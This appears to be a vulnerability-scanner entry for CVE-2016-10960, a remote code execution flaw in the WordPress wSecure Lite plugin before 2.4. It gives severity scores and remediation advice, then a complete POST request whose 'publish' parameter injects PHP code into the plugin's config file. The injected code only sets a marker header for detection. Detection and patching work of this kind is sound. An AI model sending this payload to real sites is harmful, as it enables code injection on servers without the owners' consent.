| Title | WordPress wSecure Lite < 2.4 - Remote Code Execution |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site. |
| Remediation | Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.57085 |
| CVE ID | CVE-2016-10960 |
| CWE ID | CWE-20 |
| Tags | cve2016 cve wordpress wp-plugin rce joomlaserviceprovider vkev vuln |
WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter.
POST /wp-content/plugins/wsecure/wsecure-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 100
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
wsecure_action=update&publish=";} header("kexch: CVE-2016-10960"); class WSecureConfig2 {var $test="
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